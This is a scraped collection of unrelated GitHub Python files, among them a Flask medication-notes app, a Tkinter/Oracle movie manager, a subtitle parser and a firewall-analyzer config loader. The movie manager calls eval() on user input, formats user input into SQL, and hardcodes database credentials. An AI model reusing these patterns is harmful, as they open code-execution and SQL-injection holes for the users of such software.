max(bin_edges))\n ax.set_ylim([0,0.35])\n #ax.set_xlabel(\"$\\Delta$ (true - reco) [cm]\")\n\n ax.grid()\n\n ax.set_axisbelow(True)\n #ax.legend()\n\n amp = result.params['amp']\n cen = result.params['cen']\n wid = result.params['wid']\n textstr = '$\\mu = {:03.2f} \\pm {:03.2f} cm$\\n' \\\n '$\\sigma = {:03.2f} \\pm {:03.2f} cm$ '.format(cen.value, cen.stderr, wid.value, wid.stderr)\n\n #anchored_text = AnchoredText(textstr, loc=2)\n #ax.add_artist(anchored_text)\n\nfor idx in range(3):\n axes[idx][0].set_ylabel('$\\Delta x = {} cm$'.format(drx3[idx]))\n axes[0][idx].set_title('$\\Delta z = {} cm$'.format(drx1[idx]))\n axes[2][idx].set_xlabel(\"$\\Delta_{cross}$ [cm]\")\n\n#plt.tight_layout()\nplt.show()\n","repo_name":"maluethi/laser_plot","sub_path":"plot_cros_dist_b.py","file_name":"plot_cros_dist_b.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42318931411","text":"import asyncio\n\n\n\"\"\"\nThis is a simple illustration of what are coroutines\n\"\"\"\n\n\nasync def say_hi():\n return 'hi'\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n promise = say_hi()\n print(promise)\n print(loop.run_until_complete(promise))\n","repo_name":"PacktPublishing/Python-Web-Scraping-Projects","sub_path":"4_news/snippets/async_def_example.py","file_name":"async_def_example.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"} +{"seq_id":"28482050164","text":"from flask import Flask, render_template, request, flash, session, redirect, \\\n url_for\nfrom forms import RegisterForm, LoginForm, NoteForm\nfrom models import User, Drug, Drugclass, Note\nfrom flask_login import LoginManager, login_user, login_required, logout_user, current_user\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom itsdangerous import URLSafeTimedSerializer, SignatureExpired\nfrom extensions import *\nimport datetime\nimport os\n\napp = Flask(__name__)\napp.config.from_pyfile('config.cfg')\n\nBootstrap.init_app(app)\ns = URLSafeTimedSerializer(app.config['SECRET_KEY'])\nmail.init_app(app)\ndb.init_app(app)\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(user_id)\n\n@app.route(\"/\")\n@app.route(\"/home/\")\ndef home():\n return render_template('home.html', load_user=load_user)\n\n@app.route(\"/about/\")\ndef about():\n return render_template('about.html', load_user=load_user)\n\n@app.errorhandler(404) \ndef not_found(error): \n return render_template(\"error_page.html\", load_user=load_user)\n\n@app.route(\"/register/\", methods=[\"POST\", \"GET\"])\ndef register():\n if current_user.is_authenticated:\n flash('Please logout before signing up.')\n return redirect(url_for('home'))\n form = RegisterForm()\n if form.validate_on_submit():\n if User.query.filter_by(email=form.email.data).first() is not None:\n flash('Email already registered!')\n return redirect(url_for('register'))\n else:\n hashed_password = generate_password_hash(form.password.data, method='sha256')\n token = s.dumps([form.name.data, form.profession.data, form.department.data, form.email.data, hashed_password])\n msg = Message('Confirmation Email for Database for Medication Safety in Geriatric Population Patients', sender=app.config['MAIL_USERNAME'], recipients=[form.email.data])\n link = url_for('confirm_email', token=token, _external=True)\n msg.body = 'You have registered for an account for Database for Medication Safety in Geriatric Population Patients. Please click on this link {} to confirm your registration.'.format(link)\n mail.send(msg)\n flash('Confirmation email sent. Please click on sent link to confirm your account registration.')\n return redirect(url_for('login'))\n return render_template('register.html', form=form)\n\n@app.route('/confirm_email/')\ndef confirm_email(token):\n try:\n user_info = s.loads(token, max_age=3600)\n new_user = User(name=user_info[0], profession=user_info[1], department=user_info[2], email=user_info[3], password=user_info[4])\n db.session.add(new_user)\n db.session.commit()\n except SignatureExpired:\n flash('Token has expired, please register again.')\n return redirect(url_for('register'))\n flash('Registration completed. You can now login to your account.')\n return redirect(url_for('login'))\n\n\n@app.route(\"/login/\", methods=[\"POST\", \"GET\"])\ndef login():\n if current_user.is_authenticated:\n flash('Already Logged in!')\n return redirect(url_for('home'))\n form = LoginForm()\n if form.validate_on_submit():\n user_email = User.query.filter_by(email=form.email.data).first()\n if user_email and check_password_hash(user_email.password, form.password.data):\n login_user(user_email)\n flash('Logged in succesfully.')\n return redirect(url_for('home'))\n else:\n flash('Invalid email or password')\n return render_template('login.html', form=form)\n\n@app.route('/logout/')\n@login_required\ndef logout():\n logout_user()\n flash('Logged out succesfully.')\n return redirect(url_for('home'))\n\n@app.route('/drugclass/')\ndef drugclass():\n all_drug_classes = Drugclass.query.all()\n return render_template('medication_list.html', names=all_drug_classes, title=\"Drug Classes\", load_user=load_user)\n\n@app.route('/drugclass//')\ndef show_drug_class_information(drug):\n med_class = Drugclass.query.filter_by(name=drug).first()\n if med_class is None:\n return render_template('error_page.html', load_user=load_user)\n beers = med_class.beers_criteria\n stopp_start = med_class.stopp_start_criteria\n return render_template('drugclass.html', drug=drug, beers=beers, stopp_start=stopp_start, list_of_meds=med_class.drugs, category=\"Drug Class\", load_user=load_user)\n\n@app.route('/medications/')\ndef medication():\n all_medications = Drug.query.all()\n return render_template('medication_list.html', names=all_medications, title=\"Medications\", load_user=load_user)\n\n\n@app.route('/medications//')\ndef show_med_information(drug):\n med = Drug.query.filter_by(name=drug).first()\n if med is None:\n return render_template('error_page.html', load_user=load_user)\n beers = med.beers_criteria\n stopp_start = med.stopp_start_criteria\n med_class = Drugclass.query.get(med.drug_class_id)\n med_class_name = med_class.name\n return render_template('drugclass.html', drug=drug, beers=beers, stopp_start=stopp_start, \n list_of_meds=med_class.drugs, drugclass_name=med_class_name, category=\"Medication\", load_user=load_user)\n\n\n@app.route('///notes/')\n@login_required\ndef show_notes(category, drug):\n if category == \"drugclass\":\n med = Drugclass.query.filter_by(name=drug).first()\n if med is None:\n return render_template('error_page.html', load_user=load_user)\n else:\n return render_template('notes.html', notes=med.notes, load_user=load_user)\n elif category == \"medications\":\n med = Drug.query.filter_by(name=drug).first()\n if med is None:\n return render_template('error_page.html', load_user=load_user)\n else:\n return render_template('notes.html', notes=med.notes, load_user=load_user)\n else:\n return render_template('error_page.html', load_user=load_user)\n\n@app.route('///submit_notes/', methods=[\"POST\", \"GET\"])\n@login_required\ndef submit_notes(category, drug):\n form = NoteForm()\n if category == \"drugclass\":\n med = Drugclass.query.filter_by(name=drug).first()\n if med is None:\n return render_template('error_page.html', load_user=load_user)\n else:\n current_note = Note.query.filter_by(drugclass_id=med.id, user_id=current_user.get_id()).first()\n if form.validate_on_submit():\n if current_note is None:\n new_note = Note(content=form.content.data, user_id=current_user.get_id(), drugclass_id=med.id)\n db.session.add(new_note)\n db.session.commit()\n flash('Note Added')\n else:\n current_note.content = form.content.data\n current_note.date_posted = datetime.datetime.now()\n db.session.commit()\n flash('Note Updated') \n return render_template('submit.html', form=form, medclass=\"drugclass\", med=med.name, current_note = current_note, load_user=load_user)\n elif category == \"medications\":\n med = Drug.query.filter_by(name=drug).first()\n if med is None:\n return render_template('error_page.html', load_user=load_user)\n else:\n current_note = Note.query.filter_by(drug_id=med.id, user_id=current_user.get_id()).first()\n if form.validate_on_submit():\n if current_note is None:\n new_note = Note(content=form.content.data, user_id=current_user.get_id(), drug_id=med.id)\n db.session.add(new_note)\n db.session.commit()\n flash('Note Added')\n else:\n current_note.content = form.content.data\n current_note.date_posted = datetime.datetime.now()\n db.session.commit()\n flash('Note Updated')\n return render_template('submit.html', form=form, medclass=\"medications\", med=med.name, current_note = current_note, load_user=load_user)\n else:\n return render_template('error_page.html', load_user=load_user)\n\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"calvinhychu/Medication-Safety-Guideline-for-Geriatric","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71875765372","text":"from cProfile import label\nfrom email import message\nfrom email.mime import image\nfrom platform import release\nfrom struct import pack\nfrom sys import maxsize\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom turtle import bgcolor, dot, title, up, width\nimport tkinter.font as TkFont\nfrom tkinter import ttk\nfrom webbrowser import BackgroundBrowser\nimport cx_Oracle\nfrom PIL import Image,ImageTk\n\nclass manage():\n def _init_(self,winmanager):\n self.winmanager=winmanager\n self.winmanager.title('Manager page')\n self.winmanager.geometry('1600x1204+0+0')\n # self.winmanager.minsize(1255,944)\n # self.winmanager.maxsize(1255,944)\n l1=Label(self.winmanager,text=\"welvome\")\n l1.pack()\n\n # Variables to use\n self.movieid_var=StringVar()\n self.moviename_var=StringVar()\n self.movietype_var=StringVar()\n self.movierdate=StringVar()\n self.movieactor_var=StringVar()\n self.movieactress_var=StringVar()\n self.moviedirector_var=StringVar()\n self.movielength_var=StringVar()\n self.movieseats_var=StringVar()\n self.movietheatre_var=StringVar()\n \n self.login_image=ImageTk.PhotoImage(Image.open('2.jpg'))\n login_label=Label(self.winmanager,image=self.login_image)\n login_label.place(x=0,y=0,relwidth=1,relheight=1)\n\n title_frame=Frame(self.winmanager)\n title_frame.pack()\n registration_text=Label(title_frame,text='Movie/..../Managing',font=(\"magneto\",30,\"bold\"),bd=5,borderwidth=13,bg='#7d1515',relief=RAISED)\n # registration_text.place(x=20,y=0,relx=1,rely=1)\n registration_text.pack()\n\n\n #LeftSideFrame////////////////////////////////////////////////////////////////// \n f1=Frame(self.winmanager,bd=4,relief=RAISED,borderwidth=7,bg='#5e6269')\n f1.place(x=30,y=135,width=420,height=640)\n\n f1.columnconfigure(0,weight=3)\n f1.columnconfigure(1,weight=3)\n\n movie_id=Label(f1,text='MOVIE ID :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_id.grid(row=0,column=0,padx=0,pady=14)\n\n movie_id_entry=Entry(f1,textvariable=self.movieid_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_id_entry.grid(row=0,column=1,padx=5,pady=5)\n\n movie_name=Label(f1,text='NAME :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_name.grid(row=1,column=0,padx=0,pady=8)\n\n movie_name_entry=Entry(f1,textvariable=self.moviename_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_name_entry.grid(row=1,column=1,padx=5,pady=5)\n\n movie_type=Label(f1,text='TYPE :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_type.grid(row=2,column=0,pady=8)\n \n movie_type_entry=Entry(f1,textvariable=self.movietype_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n # movie_type_entry.insert(0,'male or female')\n movie_type_entry.grid(row=2,column=1,padx=5,pady=5)\n \n release_date=Label(f1,text='RELEASE DATE :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n release_date.grid(row=3,column=0,pady=8)\n\n release_date_entry=Entry(f1,textvariable=self.movierdate,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n release_date_entry.grid(row=3,column=1,padx=5,pady=5)\n\n movie_actor=Label(f1,text='ACTOR :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_actor.grid(row=4,column=0,pady=8)\n\n movie_actor_entry=Entry(f1,textvariable= self.movieactor_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_actor_entry.grid(row=4,column=1,padx=5,pady=5)\n\n movie_actoress=Label(f1,text='ACTORESS :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_actoress.grid(row=5,column=0,pady=8)\n \n movie_actoress_entry=Entry(f1,textvariable= self.movieactress_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_actoress_entry.grid(row=5,column=1,padx=5,pady=5)\n \n movie_director=Label(f1,text='DIRECTOR :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_director.grid(row=6,column=0,pady=8)\n \n movie_director_entry=Entry(f1,textvariable=self.moviedirector_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_director_entry.grid(row=6,column=1,padx=5,pady=5)\n\n movie_length=Label(f1,text='LENGTH :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_length.grid(row=7,column=0,pady=8)\n \n movie_length_entry=Entry(f1,textvariable=self.movielength_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_length_entry.grid(row=7,column=1,padx=5,pady=5)\n\n movie_seats=Label(f1,text='SEATS :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_seats.grid(row=8,column=0,pady=8)\n \n movie_seats_entry=Entry(f1,textvariable=self.movieseats_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_seats_entry.grid(row=8,column=1,padx=5,pady=5)\n \n movie_theatre=Label(f1,text='THEATRE :-',font=(\"magneto\",12,\"bold\"),bd=5,relief=RAISED,bg='#6f747d',width=15)\n movie_theatre.grid(row=9,column=0,pady=8)\n \n movie_theatre_entry=Entry(f1,textvariable=self.movietheatre_var,width=30,relief=SUNKEN,bg='#7d1515',bd=5,fg='white',font=(\"times\",10,\"bold\"))\n movie_theatre_entry.grid(row=9,column=1,padx=5,pady=5)\n \n\n insert_button=Button(f1,text='INSERT',bd=6,borderwidth=6,bg='#ad1a1a',width=15,font=(\"magneto\",12,\"bold\"),command=self.add_data)\n insert_button.grid(row=10,column=0,padx=5,pady=10)\n\n update_button=Button(f1,text='UPDATE',bd=6,borderwidth=6,bg='#ad1a1a',width=15,font=(\"magneto\",12,\"bold\"),command=self.update_data)\n update_button.grid(row=10,column=1,padx=5,pady=20)\n\n delete_button=Button(f1,text='DELETE',bd=6,borderwidth=6,bg='#ad1a1a',width=15,font=(\"magneto\",12,\"bold\"),command=self.delete_data)\n delete_button.grid(row=11,column=0,padx=5,pady=5)\n\n clear_button=Button(f1,text='CLEAR',bd=6,borderwidth=6,bg='#ad1a1a',width=15,font=(\"magneto\",12,\"bold\"),command=self.clear_data)\n clear_button.grid(row=11,column=1,padx=5,pady=5)\n\n quit_buttom=Button(self.winmanager,text=\"QUIT AND GO BACK\",bd=7,borderwidth=9,bg='#ad1a1a',width=22,font=(\"magneto\",14,\"bold\"),command=self.quit)\n quit_buttom.place(x=880,y=720)\n\n\n #TreeviewFrame///////////////////////////////////////////////////////////////////\n f2=Frame(self.winmanager,bd=4,borderwidth=12,relief=RIDGE,bg='#5e6269')\n f2.place(x=590,y=136,width=900,height=560) \n scroll_x=Scrollbar(f2,orient=HORIZONTAL)\n scroll_y=Scrollbar(f2,orient=VERTICAL)\n\n self.Movie_Table=ttk.Treeview(f2,columns=(\"ID\",\"NAME\",\"TYPE\",\"RELEASE DATE\",\"HEROES\",\"HEROINES\",\"DIRECTOR\",\"LENGTH\",\"SEATS\",\"THEATRE\"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\n\n scroll_x.pack(side=BOTTOM,fill=X)\n scroll_y.pack(side=RIGHT,fill=Y)\n scroll_x.config(command=self.Movie_Table.xview)\n scroll_y.config(command=self.Movie_Table.yview)\n\n style = ttk.Style()\n style.theme_use(\"clam\")\n style.configure(\"Treeview.Heading\", font=(\"times new roman\",15,\"bold\"),fieldbackground='#ad1a1a',background='#ad1a1a')\n style.configure(\"Treeview\",background='#5e6269',fieldbackground='#5e6269',fieldforground=\"white\",forground=\"white\")\n # style.theme_use(\"vista\")\n\n self.Movie_Table.heading(\"ID\",text=\"ID\")\n self.Movie_Table.heading(\"NAME\",text=\"NAME\")\n self.Movie_Table.heading(\"TYPE\",text=\"TYPE\")\n self.Movie_Table.heading(\"RELEASE DATE\",text=\"RELEASE DATE\")\n self.Movie_Table.heading(\"HEROES\",text=\"HEROES\")\n self.Movie_Table.heading(\"HEROINES\",text=\"HEROINES\")\n self.Movie_Table.heading(\"DIRECTOR\",text=\"DIRECTOR\")\n self.Movie_Table.heading(\"LENGTH\",text=\"LENGTH\")\n self.Movie_Table.heading(\"SEATS\",text=\"SEATS\")\n self.Movie_Table.heading(\"THEATRE\",text=\"THEATRE\")\n self.Movie_Table['show']=\"headings\"\n self.Movie_Table.column(\"ID\",width=80)\n self.Movie_Table.column(\"NAME\",width=150)\n self.Movie_Table.column(\"TYPE\",width=120)\n self.Movie_Table.column(\"RELEASE DATE\",width=120)\n self.Movie_Table.column(\"HEROES\",width=180)\n self.Movie_Table.column(\"HEROINES\",width=180)\n self.Movie_Table.column(\"DIRECTOR\",width=150)\n self.Movie_Table.column(\"LENGTH\",width=80)\n self.Movie_Table.column(\"SEATS\",width=80)\n self.Movie_Table.column(\"THEATRE\",width=80)\n self.Movie_Table.bind(\"\",self.get_data)\n\n self.Movie_Table.pack(fill=BOTH,expand=1)\n self.fetch_data()\n \n# Class Methods///////////////////////////////////////////////////////////////////////////////\n\n\n def add_data(self):\n if self.movieid_var.get()==\"\" or self.moviename_var.get()==\"\"or self.movietype_var.get()==\"\"or self.movierdate.get()==\"\"or self.movieactor_var.get()==\"\" or self.movieactress_var.get()==\"\" or self.moviedirector_var.get()==\"\" or self.movielength_var.get()==\"\" or self.movieseats_var.get()==\"\" or self.movietheatre_var.get()==\"\":\n messagebox.showerror(\"Error\",\"All (*) Fields Are Required!!!\",parent=self.winmanager)\n else:\n I=self.movieid_var.get()\n N=self.moviename_var.get()\n TY=self.movietype_var.get()\n DA=self.movierdate.get()\n AT=self.movieactor_var.get()\n AR=self.movieactress_var.get()\n DI=self.moviedirector_var.get()\n L=self.movielength_var.get()\n S=eval(self.movieseats_var.get())\n TH=self.movietheatre_var.get()\n # Connecting to the DATABASE\n con=cx_Oracle.connect('cinema/danish30')\n print(con.version)\n cursor=con.cursor()\n try:\n cursor.execute(\"INSERT INTO movie_details VALUES(:1,:2,:3,:4,:5,:6,:7,:8,:9,:10)\",(I,N,TY,DA,AT,AR,DI,L,S,TH)) \n except cx_Oracle.IntegrityError:\n messagebox.showerror(\"ALREADY EXISTED\",\"MOVIE ALREADY EXISTED\")\n \n else:\n con.commit()\n self.fetch_data()\n con.close()\n a=messagebox.showinfo(\"COMPLETED\",\"MOVIE ADDED SUCCESFULLY\")\n # if (a=='ok'):\n # b=messagebox.askyesno(\"PERMISSION\",\"GO BACK TO THE LOGIN PAGE\")\n # if(b=='yes'):\n # self.winmanager.quit()\n\n \n def get_data(self,event):\n cursor_row=self.Movie_Table.focus()\n contents=self.Movie_Table.item(cursor_row)\n row=contents['values']\n self.movieid_var.set(row[0])\n self.moviename_var.set(row[1])\n self.movietype_var.set(row[2])\n self.movierdate.set(row[3])\n self.movieactor_var.set(row[4])\n self.movieactress_var.set(row[5])\n self.moviedirector_var.set(row[6])\n self.movielength_var.set(row[7])\n self.movieseats_var.set(row[8])\n self.movietheatre_var.set(row[9])\n \n \n\n def fetch_data(self):\n con=cx_Oracle.connect(\"cinema/danish30\")\n cur=con.cursor()\n cur.execute(\"select * from Movie_Details\")\n rows = cur.fetchall()\n if (rows)!=0:\n self.Movie_Table.delete(*self.Movie_Table.get_children())\n for row in rows:\n self.Movie_Table.insert('',END,values=row)\n con.commit()\n con.close()\n\n def update_data(self):\n if self.movieid_var.get()==\"\" or self.moviename_var.get()==\"\"or self.movietype_var.get()==\"\"or self.movierdate.get()==\"\"or self.movieactor_var.get()==\"\" or self.movieactress_var.get()==\"\" or self.moviedirector_var.get()==\"\" or self.movielength_var.get()==\"\" or self.movieseats_var.get()==\"\" or self.movietheatre_var.get()==\"\":\n messagebox.showerror(\"Error\",\"All (*) Fields Are Required!!!\",parent=self.winmanager)\n \n else:\n I=self.movieid_var.get()\n N=self.moviename_var.get()\n TY=self.movietype_var.get()\n DA=self.movierdate.get()\n AT=self.movieactor_var.get()\n AR=self.movieactress_var.get()\n DI=self.moviedirector_var.get()\n L=self.movielength_var.get()\n S=eval(self.movieseats_var.get())\n TH=self.movietheatre_var.get()\n # Connecting to the DATABASE\n con=cx_Oracle.connect('cinema/danish30')\n print(con.version)\n cursor=con.cursor()\n try:\n cursor.execute(\"UPDATE MOVIE_DETAILS SET MOVIE_NAME= :1,MOVIE_TYPE= :2,RELEASE_DATE= :3,ACTOR= :4,ACTORESS= :5,DIRECTOR= :6,LENGTH= :7 ,SEATS= :8,THEATRE= :9 WHERE MOVIE_ID LIKE '%s'\"%I,(N,TY,DA,AT,AR,DI,L,S,TH))\n # sql=\"UPDATE MOVIE_DETAILS SET MOVIE_NAME=:2,MOVIE_TYPE=:3,RELEASE_DATE=:4,ACTOR=:5,ACTORESS=:6,DIRECTOR=:7,LENGTH=:8 ,SEATS=:9,THEATRE=:10,where MOVIE_ID=:1\"\n # cursor.execute (sql,(N,TY,DA,AT,AR,DI,L,S,TH,I))\n con.commit()\n self.fetch_data() \n con.close()\n except cx_Oracle.IntegrityError:\n messagebox.showerror(\"ALREADY EXISTED\",\"MOVIE ALREADY EXISTED IN THE LIST\")\n \n else:\n \n \n messagebox.showinfo(\"SUCCESS\",\"RECORD UPDATED SUCCESFULLY\")\n # if (a=='ok'):\n # b=messagebox.askyesno(\"PERMISSION\",\"GO BACK TO THE LOGIN PAGE\")\n # if(b=='yes'):\n # self.winmanager.quit()\n \n\n def delete_data(self):\n I=self.movieid_var.get()\n if I==\"\":\n messagebox.showerror(\"Error\",\"Movie ID is Required to Delete the record!!\",parent=self.winmanager)\n else:\n con=cx_Oracle.connect(\"cinema/danish30\")\n cur=con.cursor()\n cur.execute(\"Delete From Movie_Details where MOVIE_ID = :id\",id=I)\n #rows = cur.fetchall()\n con.commit()\n self.fetch_data()\n con.close()\n messagebox.showinfo(\"Success\",\"Record Deleted Successfully\",parent=self.winmanager)\n \n def clear_data(self):\n\n\n # if self.movieid_var.get()==\"\" or self.moviename_var.get()==\"\"or self.movietype_var.get()==\"\"or self.movierdate.get()==\"\"or self.movieactor_var.get()==\"\" or self.movieactress_var.get()==\"\" or self.moviedirector_var.get()==\"\" or self.movielength_var.get()==\"\" or self.movieseats_var.get()==\"\" or self.movietheatre_var.get()==\"\":\n\n # messagebox.showerror(\"Error\",\"All (*) Fields Are Required!!!\",parent=self.winmanager)\n \n \n self.movieid_var.set('')\n self.moviename_var.set('')\n self.movietype_var.set('')\n self.movierdate.set('')\n self.movieactor_var.set('')\n self.movieactress_var.set('')\n self.moviedirector_var.set('')\n self.movielength_var.set('')\n self.movieseats_var.set('')\n self.movietheatre_var.set('') \n # messagebox.showinfo(\"Success\",\"Fields Cleared Successfully\",parent =self.winmanager)\n\n def quit(self):\n print()\n self.winmanager.destroy() \n\n\n\n\n\n\n# root0=Toplevel()\n# ob=manage(root0)\n# root0.mainloop()\n\n\nif __name__ ==\"main\": \n winmanager=Tk()\n ob=manage(winmanager)\n winmanager.mainloop()","repo_name":"Gautam097/HotelManagementSystem","sub_path":"hotel/do_manager.py","file_name":"do_manager.py","file_ext":"py","file_size_in_byte":15879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34408940606","text":"# Algoritmo para ler o ano de nascimento e mostrar quantas pessoas são menores de 21 anos e,quantas são\n# maiores de de 21 anos\n\n# Exemplo para mostrar se a pessoa é Maior ou Menor\n'''from datetime import date\natual = date.today().year\nnasc = int(input('Em que ano a pessoa nasceu? '))\nidade = atual - nasc\nprint('Essa pessoa tem {} anos.'.format(idade))\nif idade >= 21:\n print('Essa pessoa é maior de idade.')\nelse:\n print('Essa pessoa é menor de idade.')'''\n\n\n# Exemplo para mostrar Sete Idade\n'''from datetime import dat \natual = date.today().year\nfor pess in range(1, 8):\n nasc = int(input('Em que ano a pessoa nasceu? '))\n idade = atual - nasc\n if idade >= 21:\n print('Essa pessoa é maior.')\n else:\n print('Essa pessoa é menor.')'''\n\n\n# Exemplo para mostrar quantas pessoas são Maiores e quantas pessoas são menores\nfrom datetime import date\natual = date.today().year\ntotmaior = 0\ntotmenor = 0\nfor pess in range(1, 8):\n nasc = int(input('Em qua ano {}ª pessoa nasceu? '.format(pess)))\n idade = atual - nasc\n if idade >= 21:\n totmaior += 1\n else:\n totmenor += 1\nprint('Ao todo tivemos {} pessoas maiores de idade.'.format(totmaior))\nprint('E também tivemos {} pessoas menores de idade.'.format(totmenor))\n","repo_name":"anderr8/Python-Mundo-2","sub_path":"Exercícios/Aula13/ex054grupoDaMaioridade.py","file_name":"ex054grupoDaMaioridade.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19731684604","text":"from PyQt5.QtCore import QObject, QFile, QIODevice, QTextStream\nimport re\n\n\nclass SubtitleParse(QObject):\n def __init__(self, subtitle, encoding=\"UTF-8\"):\n super().__init__()\n\n subtitlefile = QFile(subtitle)\n\n if not subtitlefile.open(QIODevice.ReadOnly | QIODevice.Text):\n return\n\n text = QTextStream(subtitlefile)\n text.setCodec(encoding)\n\n subtitletext = text.readAll()\n\n # ('sıra', 'saat', 'dakika', 'saniye', 'milisaniye', 'saat', 'dakika', 'saniye', 'milisaniye', 'birincisatır', 'ikincisatır')\n compile = re.compile(r\"(\\d.*)\\n(\\d{2}):(\\d{2}):(\\d{2}),(\\d{3}) --> (\\d{2}):(\\d{2}):(\\d{2}),(\\d{3})\\n(\\W.*|\\w.*)\\n(\\w*|\\W*|\\w.*|\\W.*)\\n\")\n self.sublist = compile.findall(subtitletext)\n\n\n def parse(self):\n liste = []\n\n for sub in self.sublist:\n saat = int(sub[1]) * 60 * 60 * 1000\n dk = int(sub[2]) * 60 * 1000\n sn = int(sub[3]) * 1000\n ms = int(sub[4]) + saat + dk + sn\n\n lsaat = int(sub[5]) * 60 * 60 * 1000\n ldk = int(sub[6]) * 60 * 1000\n lsn = int(sub[7]) * 1000\n lms = int(sub[8]) + lsaat + ldk + lsn\n\n if sub[10] != \"\":\n liste.append((ms, lms, \"{}\\n{}\".format(sub[9], sub[10])))\n else:\n liste.append((ms, lms, sub[9]))\n\n return liste\n\n\n\nif __name__ == \"__main__\":\n asd = SubtitleParse(\"/media/metehan/Depo/The Martian.srt\")\n print(asd.parse())","repo_name":"mthnzbk/pisi-player","sub_path":"pisiplayer/subtitleparse.py","file_name":"subtitleparse.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"19768416679","text":"import collections\nimport configparser\nimport dataclasses\nimport functools\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport typing\nimport xml.etree.ElementTree\n\nimport xmltodict\n\nfrom palo_alto_firewall_analyzer.pan_config import PanConfig\n\nlogger = logging.getLogger(__name__)\n\n# A registry is used to auto-register the policy validators and fixers.\npolicy_validator_registry = {}\n\n\ndef register_policy_validator(readable_name, description):\n def inner_decorator(f):\n if readable_name in policy_validator_registry:\n raise KeyError(f\"Name '{readable_name}' already in use!\")\n policy_validator_registry[readable_name] = (readable_name, description, f)\n return f\n\n return inner_decorator\n\n\ndef get_policy_validators():\n return policy_validator_registry\n\n\npolicy_fixer_registry = {}\n\n\ndef register_policy_fixer(readable_name, description):\n def inner_decorator(f):\n if readable_name in policy_fixer_registry:\n raise KeyError(f\"Name '{readable_name}' already in use!\")\n policy_fixer_registry[readable_name] = (readable_name, description, f)\n return f\n\n return inner_decorator\n\n\ndef get_policy_fixers():\n return policy_fixer_registry\n\n\nclass ConfigurationSettings:\n \"\"\"\n Represents a local configuration file\n with settings for controlling the behavior\n of the validator and fixer scripts\n \"\"\"\n\n def __init__(self, configfile=None, panorama=None):\n \"\"\"Load data from a file, otherwise create\n a config object with default settings\"\"\"\n\n if configfile:\n logger.debug(f\"Loading config file from {configfile}\")\n # Validate config file exists\n if not os.path.isfile(configfile):\n raise Exception(f\"Config file '{configfile}' does not exist! Exiting\")\n self.local_config = configparser.ConfigParser()\n self.local_config.read(configfile)\n self.validate_mandatory_fields()\n else:\n # Otherwise generate a default config file\n self.local_config = configparser.ConfigParser(allow_no_value=True)\n self.local_config.add_section('Analyzer')\n self.local_config.set('Analyzer', '# Mandatory: The hostname of the panorama to query')\n if panorama is None:\n panorama = 'my-panorama-hostname'\n self.local_config.set('Analyzer', 'Panorama', panorama)\n\n self.local_config.set('Analyzer', '# Optional config values, used by validators')\n self.local_config.set('Analyzer', '# ExtraRules, ExtraZones, MissingZones: Enable validators that require making many API requests')\n self.local_config.set('Analyzer', '# Enable validators with many API requests = false')\n\n self.local_config.set('Analyzer', '# DisabledPolicies: Ignore the following disabled rules: (comma delimited)')\n self.local_config.set('Analyzer', '# Ignored Disabled Policies = Rule 1,Rule 2')\n\n self.local_config.set('Analyzer', '# Mandate a specific log profile')\n self.local_config.set('Analyzer', '# Mandated Logging Profile = default')\n\n self.local_config.set('Analyzer', '# Ignore certain DNS prefixes in find_badhostname, as they might not always be available (e.g., DHCP)')\n self.local_config.set('Analyzer', '# Ignored DNS Prefixes = PC-,iPhone')\n\n self.local_config.set('Analyzer', '# Specify which Security Profile Groups are allowed and the default profile')\n self.local_config.set('Analyzer', '# Allowed Group Profiles = Security Profile Group-default,Security Profile Group-1,Security Profile 